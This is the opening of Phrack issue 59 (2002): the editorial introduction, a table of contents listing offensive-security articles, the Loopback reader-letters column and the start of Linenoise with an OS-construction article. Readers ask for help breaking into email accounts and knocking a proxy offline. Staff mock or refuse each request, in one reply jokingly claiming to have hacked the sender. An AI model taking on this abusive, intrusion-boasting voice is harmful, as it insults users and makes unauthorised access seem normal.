C:\>type FILE_ID.DIZ ==Phrack Inc.== Volume 0x0b, Issue 0x3b, Phile #0x01 of 0x12 [-]==========================================================================[-] , ,,, :#' `, ,, ,, ## : ,#' ,#' __ $#,,#' ,#' '#,:#$#. ,, ,,, ,#' ,' /_/l ,#' #$'`#, :# '# .# #; .#' ` #$#;` : : : ,#' #: '# $# #' '# ##. #: '# ; ; ; '' ,#' ', ,:' "#,,$#,.'#:.,' ,#' ', _/_/_/_/ _/_/_/_/ : : : _/ _/ _/ L ; ; __.-._.-+. _/_/_/_/ _/_/_/_/ /."^.:.L.' .^-. \`. _/_/ _/ :`.`. \"/\ /.-. `. \ \ _/_/ _/ ;\ \ ` ;-.y(_.-\ \ `.`. _/_/_/_/ _/_/_/ : _. ;; ` \ \. `-\ \ T :: :=, ,=^\ \"-._; __..------.._ /;:-'; ; `._L.--^. .-""-.`. \ ""--.. : :_.': : ;/ \ / \ \ ; ""--._ ; T \ \ s /:.---. ;_/ `-._; ; : ______ \"-. ___ : :\ \ `.-=^" .:-" _\ \_. : : _:.--".-" .T"---:-.""--""\ ""-. ; \\ "-.\__.:' /-'. ; ; _. ; ; / -' ' .- \ ; "- : ;\ `..' .' \: ; / / .' ) ; __ / ; `, \ .-" ;/"---" /.' / `- /""" ""---""""-- : .-" `. .'.-\ / ""----""""^-.._ .-" bug \_.' "._.-"-..-'`-..-' ""--..__..--"" [-]==========================================================================[-] What happend since p58? Summercon took place (kudos to louis)! We put some pics online at http://www.phrack.org/summercon2002 for those who missed it. DMCA knocked down some websites, forced google to censor parts of their contents and continues to deny, forbid and restrict access to certain information. Free and unmodified information becomes rare and one day we might wake up and dont even know what kind of information we missed. Shame and pity on everyone living in chains in the "free" countries where the DMCA law applies. (-> PWN). We have changed our release policy (http://www.phrack.org/release). For the last 15 years PHRACK has been released to anyone simultaneously. These days PHRACK is also read by individuals, companies and agencies who do not value the magazine and the authors (under DMCA, PHRACK might even be forbidden). Research is free, the magazine is free, but now the phrack approval and review process provides it free to the contributing authors 2 weeks earlier. PHRACK 59 will be released in 3 steps: 2002-07-13: Limited release to contributing authors and volunteer reviewers. 2002-07-19: PHRACK 59 Release Candidate 1 is privately release to a larger audience for initial feed-back and review. (Not expected to stay private for long...). http://www.phrack.org/gogetit/phrack59.tar.gz. 2002-07-28: Public release on http://www.phrack.org main page for everyone who missed the release on the 19th. There might be some confusion about where to get PHRACK and how to get in contact with the Phrack Staff: We do _not_ chill on #phrack/efnet. That channel has been left alone for nearly 3 years. Those who know us, know where to find us. All others should contact us by email (PGP key is attached). None of us would every confirm or show off his involvement in PHRACK - only snobs do - watch out and dont trust strangers. There is only one official distribution side: [#][#][#] http://www.phrack.org [#][#][#] We got contacted by the very old ones: readers, authors and Editors in Chief's from 10 and more years ago. Thanks so far to everyone for the valueable discussions on knights@lists.phrack.org. This is a call to anyone who wants to meet some friends 'from the old days', or who wants to organize future events and meetings together: Send an email to phrackstaff@phrack.org and we will put you on. This issue comes with a goodie - check out phrack_tshirt_logo.png. We got in contact with a printer and are happy to announce that the PHRACK TSHIRTS will be ready for the public PHRACK 59 release. for you, your computer, your family and your dog at DEFCON X and later on at http://www.jinxhackwares.com/phrack. |=[ Table of Contents ]=-------------------------------------------------=| | 0x01 Introduction Phrack Staff 0x0b kb | | 0x02 Loopback Phrack Staff 0x0f kb | | 0x03 Linenoise Phrack Staff 0x6b kb | | 0x04 Handling the Interrupt Descriptor Table kad 0x55 kb | | 0x05 Advances in kernel hacking II palmers 0x15 kb | | 0x06 Defeating Forensic Analysis on Unix anonymous author 0x65 kb | | 0x07 Advances in format string exploiting gera & riq 0x1f kb | | 0x08 Runtime process infection anonymous author 0x2f kb | | 0x09 Bypassing PaX ASLR protection anonymous author 0x26 kb | | 0x0a Execution path analysis: finding kernel rk's J.K.Rutkowski 0x2a kb | | 0x0b Cuts like a knife, SSHarp stealth 0x0c kb | | 0x0c Building ptrace injecting shellcodes anonymous author 0x17 kb | | 0x0d Linux/390 shellcode development johnny cyberpunk 0x14 kb | | 0x0e Writing linux kernel keylogger rd 0x29 kb | | 0x0f Cryptographic random number generators DrMungkee 0x2d kb | | 0x10 Playing with windows /dev/(k)mem crazylord 0x42 kb | | 0x11 Phrack World News Phrack Staff 0x18 kb | | 0x12 Phrack magazine extraction utility Phrack Staff 0x15 kb | |=------------------------------------------------------------=[ 0x2EE kb | Shoutz: solar designer : respect, strength & honor! FozZy, brotha : 1OO% kewl logo (see phrack_tshirt.png) sh1ft33 & j0hn : phrack ghostwriterz The latest, and all previous, phrack issues are available online at http://www.phrack.org. Readers without web access can subscribe to the phrack-distrib mailinglist. Every new phrack is sent as email attachment to this list. Every new phrack issue (without the attachment) is announced on the announcement mailinglist. To subscribe to the announcement mailinglist: $ mail announcement-subscribe@lists.phrack.org < /dev/null To subscribe to the distribution mailinglist: $ mail distrib-subscribe@lists.phrack.org < /dev/null To retrieve older issues (must subscribe first): $ mail distrib-index@lists.phrack.org < /dev/null $ mail distrib-get.@lists.phrack.org < /dev/null where n indicated the phrack issue [1..58]. Enjoy the magazine! Phrack Magazine Volume 10 Number 58, December 27, 2001. ISSN 1068-1035 Contents Copyright (c) 2001 Phrack Magazine. All Rights Reserved. Nothing may be reproduced in whole or in part without the prior written permission from the editors. Phrack Magazine is made available to the public, as often as possible, free of charge. |=-----------=[ C O N T A C T P H R A C K M A G A Z I N E ]=---------=| Editors : phrackstaff@phrack.org Submissions : phrackstaff@phrack.org Commentary : loopback@phrack.org Phrack World News : pwn@phrack.org We have some agressive /dev/null-style mail filter running. We do reply to every serious email. If you did not get a reply, then your mail was probably not worth an answer or was caught by our mailfilter. Make sure your mail has a non-implicit destination, one recipient, a non-empty subject field, and does not contain any html code and is 100% 7bit clean pure ascii. |=-----------------------------------------------------------------------=| Submissions may be encrypted with the following PGP key: -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org mQGiBD03YTYRBADYg6kOTnjEfrMANEGmoTLqxRZdfxGpvaU5MHPq+XHvuFAWHBm2 xB/9ZcRt4XIXw0OTL441ixL6fvGPNxjrRmAUtXSWrElGJ5lTj7VdJmdt/DbehzGb NXekehG/r6KLHX0PqNzcr84sY6/GrZUiNZftYA/eUWDB7EjEmkBIMs3bnwCg3KRb 96G68Zc+T4ebUrV5/dkYwFUEAMgSGJpdy8yBWaFUsGOsGkrZZfdf6tRA+GGOnqjS Lh094L8iuTfbxr7zO4E5+uToantAl56fHhnEy7hKJxuQdW1C0GKktUDhGltUxrob zsNdN6cBprUT7//QgdOlm3nE2E5myozhhMxLMjjFl1mNo1YrNUEU4tYWm/Zvg9OF Te8TBADS4oafB6pT9BhGOWhoED1bQRkk/KdHuBMrgwK8vb/e36p6KMj8xBVJNglY JtIn6Iv14z8PtO62SEzlcgdsieoVncztQgLIrvCN+vKjv8jEGFtTmIhx6f/VC7pX oLX2419rePYaXCPVhw3xDN2CVahUD9jTkFE2eOSFiWJ7DqUsIrQkcGhyYWNrc3Rh ZmYgPHBocmFja3N0YWZmQHBocmFjay5vcmc+iFcEExECABcFAj03YTYFCwcKAwQD FQMCAxYCAQIXgAAKCRB73vey7F3HClWRAJ4qxMAMESfFb2Bbi+rAb0JS4LnSYwCZ AWI6ndU+sWEs/rdD78yydjPKW9q5Ag0EPTdhThAIAJNlf1QKtz715HIWA6G1CfKb ukVyWVLnP91C1HRspi5haRdyqXbOUulck7A8XrZRtDUmvMGMO8ZguEjioXdyvYdC 36LUW8QXQM9BzJd76uUl/neBwNaWCHyiUqEijzkKO8yoYrLHkjref48yBF7nbgOl i1y3QOyDGUT/sEdjE5lzHqVtDxKH9B8crVkr/O2GEyr/zRu1Z2L5TjZNcQO988Hy CyBdDVsCBwUkdrm/oyqnSiypcGzumD4pYzmquUw1EYJOVEO+WeLAOrfhd15oBZMp QlQ/MOfc0rvS27YhKKFAHhSchSFLEppy/La6wzU+CW4iIcDMny5xw1wNv3vGrScA AwUH/jAo4KbOYm6Brdvq5zLcEvhDTKf6WcTLaTbdx4GEa8Sj4B5a2A/ulycZT6Wu D480xT8me0H4LKl2j7lzhJwzG9HRp846gKrPgj7GVcAaTtsXgwJu6Q7fH74PCrOt GEyvJw+hRiQCTHUC22FUAx6SHZ5KzwMs3W8QnNUbRBfbd1hPMaEJpUeBm/jeXSm4 2JLOd9QjJu3fUIOzGj+G6MWvi7b49h/g0fH3M/LF5mPJfo7exaElXwk1ohyPjeb8 s11m348C4JqmFKijAyuQ9vfS8cdcsYUoCrWQw/ZWUIYSoKJd0poVWaHQwuAWuSFS 4C8wUicFDUkG6+f5b7wNjfW3hf2IRgQYEQIABgUCPTdhTgAKCRB73vey7F3HCq5e AJ4+jaPMQEbsmMfa94kJeAODE0XgXgCfbvismsWSu354IBL37BtyVg9cxAo= =9kWD -----END PGP PUBLIC KEY BLOCK----- phrack:~# head -22 /usr/include/std-disclaimer.h /* * All information in Phrack Magazine is, to the best of the ability of * the editors and contributors, truthful and accurate. When possible, * all facts are checked, all code is compiled. However, we are not * omniscient (hell, we don't even get paid). It is entirely possible * something contained within this publication is incorrect in some way. * If this is the case, please drop us some email so that we can correct * it in a future issue. * * * Also, keep in mind that Phrack Magazine accepts no responsibility for * the entirely stupid (or illegal) things people may do with the * information contained herein. Phrack is a compendium of knowledge, * wisdom, wit, and sass. We neither advocate, condone nor participate * in any sort of illicit behavior. But we will sit back and watch. * * * Lastly, it bears mentioning that the opinions that may be expressed in * the articles of Phrack Magazine are intellectual property of their * authors. * These opinions do not necessarily represent those of the Phrack Staff. */ |=[ EOF ]=---------------------------------------------------------------=| phrack.org:~# cat /dev/random ==Phrack Inc.== Volume 0x0b, Issue 0x3b, Phile #0x02 of 0x12 |=----------------------=[ L O O P B A C K ]=----------------------------=| |=-----------------------------------------------------------------------=| |=------------------------=[ phrackstaff ]=------------------------------=| ----| QUOTE of the month is it legal? dont know, im doing it from bonds box ----| EXPLOIT of the month apache-scalp & OpenBSD memcpy() madness^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H openssh remote. ----| TOPIC of the month (regarding OpenSSH) -:- Topic (#somewhere): changed by someone: "8 hours and 53 minutes without a remote hole in the default install!" ----| LAMERZ of the month http://www.idefense.com/Intell/CI022702.html [ or: how to convert public whois db files into .xls and finding people who buy this bullshit. ] http://hackingtruths.box.sk/certi.htm [ They try to make money out of everything: "Become a certificated hacker today". ] |=[ 0x00 ]=--------------------------------------------------------------=| From: "Kenneth J. Bungert,,," Subject: harassment I have a question ? [ I don't know... do you? ] Is there any way I can find out who is calling if it is from a computer... I think that is where the annoying calls are being made? [ If you are in a country that does not have consumer Caller ID, or provider ANI, then just follow the cord attached to the end your telephone until you find the person at the other end. Ask them nicely if they called you. ] Rob Kenneth J. Bungert,,, |=[ 0x01 ]=--------------------------------------------------------------=| http://www.atstake.com/company_info/management.html#mudge [ Look what they did to mudge/Peiter Zatko. They cut his hair, tied a tie around his neck and covered his body with a suite. They wrote that he was the CEO (CEO?, #1?) of [the company named] "L0pht Heavy Industries". My comment: 'They made a clown out of a well respected smart guy/hacker who should be better descriped as 'a key figure in americans famous underground hacking group known as L0pft Heavy Industries'. I hope the tie will not become too tight mudge :/ ] |=[ 0x02 ]=--------------------------------------------------------------=| From: mac119@hotmail.com Hello i need some help. [ Come to us, we enlight and answer all your worries! ] if someone can hack down 172.26.100.10:8080 and take down the proxy server, would make me very happy. [ ..would pretty much impress me. Most of your questions can be answered by reading RFC1918. ] NB! if someone do that, they will get a little reward from me, $120. tanks again Ice |=[ 0x03 ]=--------------------------------------------------------------=| Dear Hacker i am 29 y/o male and very intrested in hacking my girlfriends Emails in "Yahoo" and "Hotmail" . please instruct me if it has an straighforward solution or anything help me in this regard. i have tried some softwares about this but they didnt work properly and no result achieved. please Email ur hints to ab_c28@yahoo.com thank you for your prompt attention. regards. Bob Z. NEVER SEND SPAM. IT IS BAD. [ Dear Lamer After hacking your Yahoo! account we acquired your girlfriend's email address and proceeded to inform her about your curiosity. After speaking with her about this incident she agreed that we should expose you for the perverse idiot that you are. Get a life. ] |=[ 0x04 ]=--------------------------------------------------------------=| From: "brad" Hey guys..I am a beginner and i am trying to find all the information that i can on how to learn everything that you guys know...i am not asking for you to tell me how to hack into hotmail or yahoo mail like some of the other people here but i just want any kind of information that you can give me on how to learn anything and everything about what you guys do, [ Do you know what it is that we know? We don't know what we know, we just know that we know it. An obvious self-promotional answer would be to read Phrack... ] With much respect, Ryan |=[ 0x05 ]=--------------------------------------------------------------=| From: Jason De Grandis Subject: [phrackstaff] Hacking / Cracking I am new to the world of hacking and cracking, and I want to get some info on the above. [ Welcome to our world, Jason. ] What I want to do is, obtain credit card numbers, get email passwords and get into NASA and the FBI, if I am lucky. The sort of stuff the movie "Hackers" illustrated. I don't know if this can be done, if it can, can someone email me the information or point me into the right direction on were to start. [ Sounds like some pretty serious stuff you want to get into. I recommend watching Hackers a few more times and then getting yourself some Gibsons. Remember -- the most commonly used passwords are "love", "sex", "secret" and "god" -- BUT NOT NECESSARILY IN THAT ORDER YOU FUCKING LAMER! ] Where do I go and what do I need. I have started learning LINUX, as I have been told it is something to know and learn. What else do I need??? [ A system, a clue, some Phrack issuez for you Learn Unix and learn it good, learn it like a ninja would If you do not have a clue yet, some 0day you must get Hack the planet in a night, backdoor that shit up tight Sell each root for a buck... OH MY GOD YOU FUCKING SUCK!@#!#!$ ] J. [ S. ] |=[ 0x06 ]=--------------------------------------------------------------=| Hey again Phrack [ Hello ] I have now read quite a few of your magazines. BUT there is a pretty nasty failure in number 56... Either the index file is misplaced or the articles are. They don't match, that's for sure! [ It is all fine. It is indexed in hex (the index file is quite clear if you bother to read it -- p56-0x01) ] If you have gotten the time for it could you then please fix it. And I would be happy if you would send me a copy of the correct one when finished.. [ No. It's not broken, chump. ] Thank you. /Dark Origin ~If you think nobody cares, try missing a couple of payments.~ [ Trust me. Nobody cares. ] |=[ 0x07 ]=--------------------------------------------------------------=| From: syiron the sex man To: Subject: i would like to surf telnetd daemon services hello the best crew in the world [ Thank you. ] i had search remote buffer to gain access root in telnetd port daemon but i fail to do it [ I feel your pain. ] can you make me one of the remote to attack solaris sparc ... attack from linux or solaris [ Nope! ] thanks need code [ Need life. ] syiron |=[ 0x08 ]=--------------------------------------------------------------=| Hi! Can you to speak to me the learn for to speak the Unix? [ I wish Unix I knew to speak it to you good hehe! ] |=[ 0x09 ]=--------------------------------------------------------------=| From: "I. O. Jayawardena" Subject: [phrackstaff] Best wishes Greetings guys (and gals?), [ Greetings, I. O. ] First things first: Phrack is a really good e-zine, and loopback is just great, but you knew this already ;) [ Of course! ] I'm an aspiring hacker and all-round geek. Girls are scarce over here; knowledge even more so. I developed the hacker state of mind when I was exposed to the Net, while I was studying like a demon for a competition which landed me my Celeron (with some peripherals). While surfing two days ago, I stumbled onto phrack.org and an old flame was rekindled; So here I am... Really guys, Phrack is a good thing. Keep up the good work. The home page is very nice too... Maybe even chicks will dig it ;) [ The webmaster has been hoping they would since day 1. ] I'm a pretty good C and C++ programmer, and the only difficulty I have is money. NO credit cards to pay for books I can buy only online. I'd be very grateful if anyone over there could give me the location of a _free_ machine-readable copy of "The C Programming Language" by K&R. I doubt if even the universities over here have it (off the record, some professors here don't know that printf(...) actually returns something, but claim to have written Linux kernel modules :| ). [ If you're a pretty good C programmer, why do you need that particular book? Are you lying to us? Try a library. ] Anyway, thanks, and I can say with absolute, nay, non-relative certainty that the number of Phrack readers has increased by one non-atomically. [ Geek! ] alvin PS: if the only "alvin" you can recall is alvin of the chipmunks, read up a bit on the works of Sir Arthur C. Clarke. [ No thanks, I'll take your word for it, chipmunk. ] |=[ 0x0a ]=--------------------------------------------------------------=| From: "RAZ" HI I WONDER IF U CAN HELP ME [ HI, MAYBE IF YOU STOP SHOUTING! ] MY NAME IS RAZ AND I LIVE IN LONDON, I HAVE A CONNECTION LINE WITH BT FOR OUR PHONE. [ That's very nice, Baz. But you're still shouting! ] RECENTLY WE REC.D OUR BILL WHICH WERE PHONES MADE WHICH WE HAVE NOT MADE, LONG MOBILE PHONES AND INTERNATIONAL, AND WE EVEN THINK WE KNOW WHO DID BUT HOW?? IS IT POSSIBLE TO DO PHONE HACKING OR TAPPING ? [ Of course. Don't you read Phrack? ] IF SO HOW.. BT SAID THERE IS NOT WAY AND WE HAVE TO PAY THE BILL WHICH WE WILL BUT INSIDED OUR HEARTS WE KNOW WE DID NOT DO THEM.. CAN U HELP [ I think you're beyond help. ] |=[ 0x0b ]=--------------------------------------------------------------=| From: "Marcel Feuertein" Subject: [phrackstaff] You have a slight problem on your site. Hello, to whom it may concern; When I went to your 'download' link it opened in 'edit' mode.. showing me the total >> Index of /archives>> without the HTML. [ Really? That's disgraceful! ] Found your site while searching Yahoo on how to play a video file I downloaded with an .AVI extension with a comment " EG-VCD" after the name of file, which causes my Windows Media Player to play only the sound .. without the video. [ Interesting. ] Thus I was looking for a player/codec to solve this problem. [ Good luck. ] Any suggestions are appreciated. [ I'm all out of ideas. ] Your site has been added to my favorites. I truly enjoy your content. Congratulations. [ Thanks. ] Take care Marcel |=[ 0x0c ]=--------------------------------------------------------------=| From: richard fraser Subject: [phrackstaff] problem what do i run the programmme under ,you know like what programme do i run it in [ I've been asking myself that question all my life. ] richard |=[ 0x0b ]=--------------------------------------------------------------=| From: bobby@bobby.com Subject: [phrackstaff] phrakz Hi, My nickname is Bobby - Happy Bobby, im 14 years hacker, & im so happy becouse of pCHRAK (or sumthin) 58 issue, finally i had found information how to break into pentagon server, but i have one littl3 pr0blem, i dunno how to log into this server i had tried telnet pentagon.org but my Windows said "Cannot found telnet.exe file", could you tell me what am i doing wrong? PS.My dick is now 32cm long!, one year ago it was only 5cm, how about yours? s0ry 4 my b4d inglish (i ate all sesame-cakes :), ps0x01.gr33tz to all hacker babes (if they really exists i bet they would like to hack into my pants & meet Big Bobby :) ps0x02.i tak mierdzicie ledziem :) ps0x03.pana guampo kanas e ribbon hehe psx.cya Happy Bobby [ ... ] |=[ 0x0c ]=--------------------------------------------------------------=| From: "DANIEL REYNOLDS" hey yall, I havent done many articles but i think i am up to the challenge. Do you know a subject that I could write on that the ppl that read phrack would enjoy? thankz, ~][cyflame [ Try it with "The insecurity of my ISP, MSN.COM" ] |=[ 0x0d ]=--------------------------------------------------------------=| From: piracy To: phrackedit@phrack.com Subject: [phrackstaff] How are you [ ?! thnx, and you guys? ] |=[ 0x0e ]=--------------------------------------------------------------=| I got this message from you: > To: luigi@cs.berkeley.edu > From: phrackstaff-admin@phrack.org > Subject: Your message to phrackstaff awaits moderator approval > > Posting to a restricted list by sender requires approval > Either the message will get posted to the list, or you will receive > notification of the moderator's decision. [ hmm, yes indeed, interesting. Hmm. What might this be Dr.Watson? The moderator's decision is to investigate this posting a little bit further. ] However, I never sent a message to phrackstaff before this one. So there seems to be a problem. I would kindly request that you do NOT post the message, since I don't know what it contains and don't want it to be attributed to me. Thank you very much Luigi Semenzato |=[ 0x0f ]=--------------------------------------------------------------=| From: gobbles@hushmail.com Subject: ALERT! BLUE BOAR IS IN #PHRACK! ALERT! The Blue Boar is currently chatting in #phrack! ALERT! ALERT! ALERT! [ Noone of us is in control of this channel. We chill where no phrack staff has chilled before... ] |=[ 0x10 ]=--------------------------------------------------------------=| From: "Brian Herdman" Hey. [ y0! ] im looking for a copy of the jolly rodger cook book i used to have it but my hard drive fried and i thought it was gone forever..... [ Man, I've been looking for that one for the last 15 years on www.phrack.org but i guess one of the previous editors just rm'ed it. jolly rodger cook book, yummm yumm, that's what's missing on our page....] |=[ 0x11 ]=--------------------------------------------------------------=| From: son gohan Subject: [phrackstaff] phreak boxes Hi can i get some info on the tron box? [ PHRACK != GOOGLE ] |=[ 0x12 ]=--------------------------------------------------------------=| From: "Bruce's Email" Subject: [phrackstaff] Passwords Date: Wed, 10 Apr 2002 13:45:44 -0500 How do I figure out someone's password and user name if I have their e-mail address? [ The easiest way is just to ask him: echo "ALL UR PASSW0RDZ R BEL0NG TO US!" | mail target@hotmail.com ] |=[ EOF ]=---------------------------------------------------------------=| ==Phrack Inc.== Volume 0x0b, Issue 0x3b, Phile #0x03 of 0x12 |=---------------------=[ L I N E N O I S E ]=---------------------------=| |=-----------------------------------------------------------------------=| |=------------------------=[ phrackstaff ]=------------------------------=| --[ Contents 1 - PHRACK Linenoise Introduction 1.1 PHRACK Oops 1.2 PHRACK Fakes 1.3 PHRACK Unbreakable 2 - PHRACK OS Construction 3 - PHRACK ninja lockpicking 4 - PHRACK sportz: fingerboarding --[ 1 - PHRACK Linenoise Introduction I think you know what linenoise is about. We had the same cut & paste Linenoise Introduction in the last 10 issues :) ----[ 1.1 - PHRACK Oops Oops, For the last 17 years we forgot the .txt extension to the articles. Some reader complained about a little mistake in p59-0x01: phrack:~# head -20 /usr/include/std-disclaimer.h 22 lines of the header are actually printed :P The message of the disclaimer remains: 1) No guarantee on anything. 2) Nobody is responsible. 3) Dont blame us if your kids turn into hackerz. ----[ 1.2 - PHRACK Fakes http://www.cafepress.com/cp/store/store.aspx?storeid=phrack That's not us. Check out our homepage at http://www.phrack.org for some tshirts. ----[ 1.3 - PHRACK Unbreakable To whom it may concern, I am the author of the article "defeating forensics on unix file systems". I have been forced to with hold my identity because, unfortuantely, my employer is afraid of negative publicity due to the article's content. It has been made clear to me, that should the origin of this paper be linked to the company, my continued employment might be in jeopardy. Due to the current complex political environment, I am hesitant to place myself in a potentially hazardous situation. However, I feel that this information is important for the advancement of the digital forensics state of the art. After spending years working on anti-forensics I think that my work should see the light of day. I doubt that I am the first one to discover these techniques, and I will certainly not be the last. Full disclosure publication is the only way to demonstrate the problems which exist in todays forensics methodologies and tools, and create an environment which promotes positive change. end. |=[ 0x02 ]=-------=[ Methodology For OS Construction ]=------------------=| |=-----------------------------------------------------------------------=| |=--------------=[ Bill Blunden ]=---------------=| --[ Contents 0 - Introduction 1 - The Critical Path 1.1 Choose a Host Platform 1.2 Build a Simulator 1.3 Build a Cross-Compiler 1.4 Build and Port The OS 1.5 Bootstrap the Cross-Compiler 2 - OS Components 2.1 Task Model 2.2 Memory Management 2.3 I/O interface 2.4 File System 2.5 Notes On Security 3 - Simple Case Study 3.1 Host Platform 3.3 Compiler Issues 3.4 Booting Up 3.5 Initializing The OS 3.6 Building and Deploying 4 - References and Credits --[ 0 - Introduction Of the countless number of books on operating system design, there are perhaps only three or four, that I know of, which actually discuss how to build a fully-functional operating system. Even these books focus so narrowly on specific hardware that the essential steps become buried under a pile of agonizing minutiae. This is not necessarily a bad thing, rather it is an unintended consequence. Operating systems are incredibly complicated pieces of software, and dissecting one will yield countless details. Nevertheless, my motivation for submitting this article is to provide a generic series of steps which can be used to build an OS, from scratch, without bias towards a particular hardware vendor. "Geese Uncle Don, how do you build an OS ..." My own understanding of OS construction was rather sketchy until I had the privilege of meeting some old fogeys from Control Data. These were people who had worked on the CDC 6600 with Seymour Cray. The methodology which I am passing on to you was used to build Control Data's SCOPE76 operating system. Although some of the engineers that I spoke with are now in their 70s, I can assure you that the approach they described to me is still very useful and relevant. During the many hours that I pestered these CDC veterans for details, I heard more than a few interesting war stories. For example, when Control Data came out with the 6600, it was much faster than anything IBM was selling. The execs at Big Blue were so peeved at being upstaged by Cray that they created a paper tiger and told everyone to wait a few months. Unfortunately, it worked. Everyone waited for IBM to deliver ( IBM never did, those bastards ) and this forced CDC to drop the price of the 6600 in half in order to attract customers. If you are familiar with IBM's business practices, this type of behavior comes as no surprise. Did you know that IBM sold Hollerith tabulators to the Nazis during WWII? This article is broken into three parts. Part 1 presents a general approach that may be used to build an operating system. I am intentionally going to be ambiguous. I want the approach to be useful regardless of which hardware platform you are targeting. For the sake of focusing on the process itself, I delay the finer details of construction until Part 2. In Part 2, I present a rough map that can be used to determine the order in which the components of the OS should be implemented. For the sake of illuminating a few of the issues that a system engineer will face during OS implementation, I have included a brief discussion of an extended example in part 3. My goal in part 3 is to illustrate some of the points that I make in part 1. I have no intention of offering a production quality OS, there are already a number of excellent examples available. Interested readers can pick up any of the references provided at the end of this article. --[ 1 - The Critical Path In the stock market, you typically need money in order to make money. Building an OS is the same way: you need an OS in order to build one. Let's call the initial OS, and the hardware that it runs on, the 'host' platform. I will refer to the OS to be constructed, and the hardware that it will run on, as the 'target' platform. --[ 1.1 - Choose a Host Platform I remember asking a Marine Corp Recon guy once what he thought was the most effective small sidearm. His answer: "whichever one you are the most familiar with." The same holds true for choosing a host platform. The best host platform to use is the one which you are the most familiar with. You are going to have to perform some fancy software acrobatics and you will need to be intimately familiar with both your host OS and its development tools. In some more pathological cases, it may even help to be familiar with the machine instruction encoding of your hardware. This will allow you to double check what your development tools are spitting out. You may also discover that there are bugs in your initial set of tools, and be forced to switch vendors. This is a good reason for picking a host platform which is popular enough that their are several tool vendors to choose from. For example, during some system work, on Windows, I discovered a bug in Microsoft's assembler (MASM). As it happened, MASM would refuse to assemble a source file which exceeded a certain number of lines. Fortunately, I was able to buy Borland's nifty Turbo Assembler (TASM) and forge onward. --[ 1.2 - Build a Simulator Once you've picked a host platform and decided on an appropriate set of development tools, you will need to build a simulator that replicates the behavior of the target platform's hardware. This can be a lot more work than it sounds. Not only will you have to reproduce the bare hardware, but you will also have to mimic the BIOS which is burned into the machine's ROM. There are also peripheral devices and micro controllers that you will need to replicate. Note: The best way to see if you have implemented a simulator correctly is to create an image file of a live partition and see if the simulator will run the system loaded on it. For example, if you built an x86 simulator, then you could test out an image file of a Linux boot partition. The primary benefit of the simulator is that it will save you from having to work in the dark. There is nothing worse than having your machine crash and not being able to determine why. Watching your Intel box triple fault can be extremely frustrating, primarily because it is almost impossible to diagnose the problem once it has occurred. This is particularly true during the boot phase, where you haven't built enough infrastructure to stream messages to the console. A simulator allows you to see what is happening in a safe, and controlled, environment. If your code crashes the simulator, you can insert diagnostic procedures to help perform forensic work. You can also run the simulator from within the context of a debugger so that you can single-step through tricky areas. The alternative is to run your OS code on raw metal, which will basically preclude your ability to record the machine's state when it crashes. The diagnostic and forensic techniques which you used with the simulator will be replaced by purely speculative tactics. This is no fun, trust me. For an excellent example of a simulator, you should take a look at the bochs x86 simulator. It is available at: http://sourceforge.net/projects/bochs Once thing that I should mention is that it is best to use bochs in conjunction with Linux. This is because bochs works with disk images and the Linux 'dd' command is a readily available and easy way to produce a disk image. For example, the following command takes a floppy disk and produces an image file named floppy.img. dd if=/dev/fd0 of=floppy.img bs=1k Windows does not ship with an equivalent tool. Big surprise. "Back in my day ..." In the old days, creating a simulator was often a necessity because sometimes the target hardware had not yet gone into production. In those days, a smoke test was truly a smoke test ... they turned on the machines and looked for smoke! --[ 1.3 - Build a Cross-Compiler Once you have a simulator built, you should build a cross-compiler. Specifically, you will need to construct a compiler which runs on the host platform, but generates a binary which is run by the target platform. Initially you will use the simulator to run everything that the cross- compiler generates. When you feel confident enough with your environment, you can start running code directly on the target platform. "Speaking words of wisdom, write in C..." Given that C is the de facto language for doing system work, I would highly recommend getting the source code for compiler like gcc and modifying the backend. The gcc compiler even comes with documentation dedicated to this task, which is why I recommend gcc. There are other public C compilers, like small-C, that obey a subset of the ANSI spec and may be easier to port. gcc: http://gcc.gnu.org small-C: http://www.ddjembedded.com/languages/smallc If you want to be different, I suppose you could find a Pascal or Fortran compiler to muck around with. It wouldn't be the first time that someone took the less traveled route. During the early years, the Control Data engineers invented their own variation of Pascal to construct the NOSVE (aka NOSEBLEED) OS. NOSVE was one of those Tower of Babel projects that never made it to production. At Control Data, you weren't considered a real manager until you had at least one big failure under your belt. I bet NOS/VE pushed the manager up to VP status! --[ 1.4 - Build and Port The OS OK, you've done all the prep work. It's time to code the OS proper. The finer details of this process are discussed in Part 2. Once you have a prototype OS built than runs well on the simulator you will be faced with the -BIG- hurdle ... running your code on the actual target hardware. I found that this is a hurdle which you should jump early on. Do a test run on the target platform as soon as you have the minimal number of working components. Discovering that your code will not boot after 50,000 lines of effort can be demoralizing. If you were disciplined about designing and testing your simulator, most of your problems will probably be with the OS code itself and perhaps undocumented features in peripheral hardware controllers. This is where investing the time in building a bullet-proof simulator truly pays off. Knowing that the simulator does its job will allow you to more accurately diagnose problems ... and also save you plenty of sleep. Finally, I would recommend using a boot disk so that you don't put the hard drive(s) of your target machine at risk. Even the Linux kernel can be made to fit on a single floppy, so for the time being try not to worry about binary size constraints. --[ 1.5 - Bootstrap the Cross-Compiler Congratulations. You have gone where only a select few have gone before. You've built an operating system. However, wouldn't it be nice to have a set of development tools that can be run by your new OS? This can be achieved by bootstrapping the existing cross-compiler. Here's how bootstrapping works: You take the source code for your cross- compiler and feed it to the cross-compiler on the host platform. The cross-compiler digests this source code and produce a new binary that can be executed by the target OS. You now have a compiler that runs on the target OS and which creates executables that also run on the target OS. Naturally, I am making a few assumptions. Specifically, I am assuming that the libraries which the cross-compiler uses are also available on the target OS. Compilers spend a lot of time performing string manipulation and file I/O. If these supporting routines are not present and supported on the target platform, then the newly built compiler is of little utility. --[ 2 - OS Components An OS is a strange sort of program in that it must launch and manage itself in addition to launching and managing other programs. Hence, the first thing that an operating system needs to do is bootstrap itself and then set up its various components so that it can do its job. I would recommend getting your hands on the vendor documentation for your hardware. If you are targeting Intel, then you are in luck because I explain the x86 boot process in Part 3 of this article. In terms of overall architecture, I would recommend a modular, object- oriented, design. This doesn't mean that you have to use C++. Rather, I am encouraging you to delineate the various portions of the OS into related sets of data and code. Whether or not you use a compiler to enforce this separation is up to you. This approach has its advantages in that it allows you to create sharply delineated boundaries between components. This is good because it allows you to hide/modify each subsystem's implementation. Tanenbaum takes this idea to an extreme by making core components, like the file system and memory manager, pluggable at runtime. With other operating systems, you would have to re-compile the kernel to swap core subsystems like the memory manager. With Minix, these components can be switched at runtime. 